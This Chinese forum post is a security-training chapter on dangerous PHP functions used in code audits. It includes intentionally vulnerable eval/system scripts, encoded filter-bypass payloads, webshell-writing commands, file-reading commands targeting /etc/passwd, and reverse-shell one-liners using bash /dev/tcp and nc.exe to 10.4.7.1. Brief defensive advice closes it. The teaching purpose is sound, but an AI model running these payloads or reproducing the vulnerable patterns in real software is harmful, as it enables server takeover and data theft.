查看: 63|回复: 0

【后端代码审计】第五章 PHP 危险函数

[复制链接]

3

主题

9

帖子

15

积分

新手上路

Rank: 1

积分
15
发表于 2023-7-6 18:22:39 | 显示全部楼层 |阅读模式
PHP 中有一些函数是比较危险的,也是进行PHP 代码审计的时候需要重点关注的内容。
函数速查:
函数或语句或结构含义
eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()
$a($b)
system()
exec()
shell_exec()
passthru()
popen()
反引号
PHP 代码执行语句


  • 掌握PHP 代码执行的相关函数和语句
eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行。
代码示例

// eval.php

// $code = "phpinfo();";
$code = $_REQUEST['code'];

// echo $code;
// var_dump($code);

eval($code);
一句话木马原型。
绕过限制

$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];

$code = addslashes($code);

//echo $code;

eval($code);
如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用如下方法进行绕过:

  • ASCII 编码
system('whoami');

chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)

?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59));

  • BASE64 编码
system('whoami');

c3lzdGVtKCd3aG9hbWknKTs=

?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs));
说明

虽然可以以函数的方式调用eval(),但是eval() 不是PHP 的函数,是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束。
其他命令执行的方式:
?code=phpinfo();

?code=${phpinfo()};

?code=ajest;phpinfo();

?code=?>AJEST IS HANDSOME<?php phpinfo();

?code=eval(phpinfo());assert 函数

assert() 会将字符串当做PHP 代码来执行。
代码示例

// assert.php

// $code = "phpinfo();";
$code = $_REQUEST['code'];

// var_dump($code);

assert($code);
说明


  • assert() 只能执行单条PHP 语句。
  • assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,assert() 被弃用。
preg_replace 函数

preg_replace() 函数的作用是对字符串进行正则匹配后替换。
代码示例

搜索$subject 中匹配$pattern 的部分,以$replacement 进行替换。
// preg_replace.php

$code = preg_replace('~a~', 'A', 'ajest');
$code = preg_replace('~\[.*\]~', 'A', '[phpinfo()]');  
$code = preg_replace('~\[(.*)\]~', 'A', '[phpinfo()]');  
$code = preg_replace('~\[(.*)\]~', '\\1', '[phpinfo()]');      
$code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]');      

echo $code;
说明


  • preg_replace() 函数中第一个参数是正则表达式,e 是正则表达式的修饰符。
回调函数

一个函数调用另外一个函数。PHP 语言中回调函数有很多。
call_user_func

<?php
// call_user_func.php

$func = 'assert';
$arg = "phpinfo();";

call_user_func($func, $arg);array_map

// array_map.php

$func = "assert";
$arg[] = "phpinfo();";

array_map($func, $arg);
动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
<?php
// dynamic_function.php

$code = "phpinfo();";
$func = "assert";

$func($code);   // assert(phpinfo());OS 命令执行函数


  • 掌握PHP 语言中系统命令执行函数
system 函数

system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。
代码示例

// system.php

// $cmd = "net user";
$cmd = $_REQUEST['cmd'];

system($cmd);
说明


  • 自带输出功能。
  • 自动区分系统平台。
?cmd=whoami

?cmd=ipconfig

?cmd=uname -aexec 函数

代码示例

// exec.php

// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];

echo exec($cmd);
函数特点


  • 需要输出命令执行结果。
  • 只输出命令执行结果的最后一行,约等于没有回显。
shell_exec 函数

代码示例

// shell_exec.php

// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];

echo shell_exec($cmd);
说明


  • 需要输出命令执行结果。
passthru 函数

代码示例

// passthru.php

// $cmd = "whoami";
$cmd = $_REQUEST['cmd'];

passthru($cmd);
说明


  • 自带输出功能。
popen 函数

代码示例

// popen.php

$cmd = $_REQUEST['cmd'];

$result = popen($cmd, 'r');

echo fread($result, 1024);
说明


  • 函数返回值为文件指针,可以简单理解为文件名。
  • 是一个神函数。
反引号

反引号` 内的字符串,会被解析成OS 命令。
代码示例

// ``.php

$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";

echo "<pre>".`$cmd`;
RCE

PHP 代码注入

原理

传入PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)他想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在PHP 代码注入漏洞,也就是RCE。
危害

Web 应用如果存在远程代码执行漏洞(RCE)是一件非常可怕的事情,攻击者通过RCE 继承Web 用户权限,执行任意(PHP)代码。
如果服务器没有正确配置,Web 用户权限比较高的话,就可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
漏洞利用

代码执行漏洞的利用方式有很多种。
获取Shell,菜刀可以直接连接。
shell: http://10.4.7.187/php/functions/eval.php
pass: code获取当前文件的绝对路径。
?code=print(__FILE__);读文件。
?code=print(file_get_contents('eval.php'));
?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));写文件。
?code=file_put_contents('shell.php','<?php phpinfo();?>');OS 命令注入漏洞

原理

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
漏洞危害


  • 继承Web 服务器程序权限,去执行系统命令;
  • 继承Web 服务器权限,读写文件;
  • 反弹Shell
  • 控制整个网站,控制整个服务器。
漏洞利用

OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。
查看系统文件(读)。
?cmd=type c:\windows\system32\drivers\etc\hosts
?cmd=cat /etc/passwd显示当前路径。
?cmd=cd写文件。
?cmd=echo ^<^?php phpinfo();^?^> > shell.php
?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php
?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php执行某一个程序。
?cmd=c:\windows\system32\calc.exe反弹Shell。
#   本机监听
nc -lnvp 1234

#   Linux 下反弹Shell      
?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1
?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash

#   Windows 反弹Shell
?cmd=nc.exe -e cmd.exe 10.4.7.1 1234漏洞防御


  • 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
  • preg_replace() 放弃使用e 修饰符。
  • 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert

  • 参数的值尽量使用引号包裹,并在拼接前调用addslashes() 进行转义。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表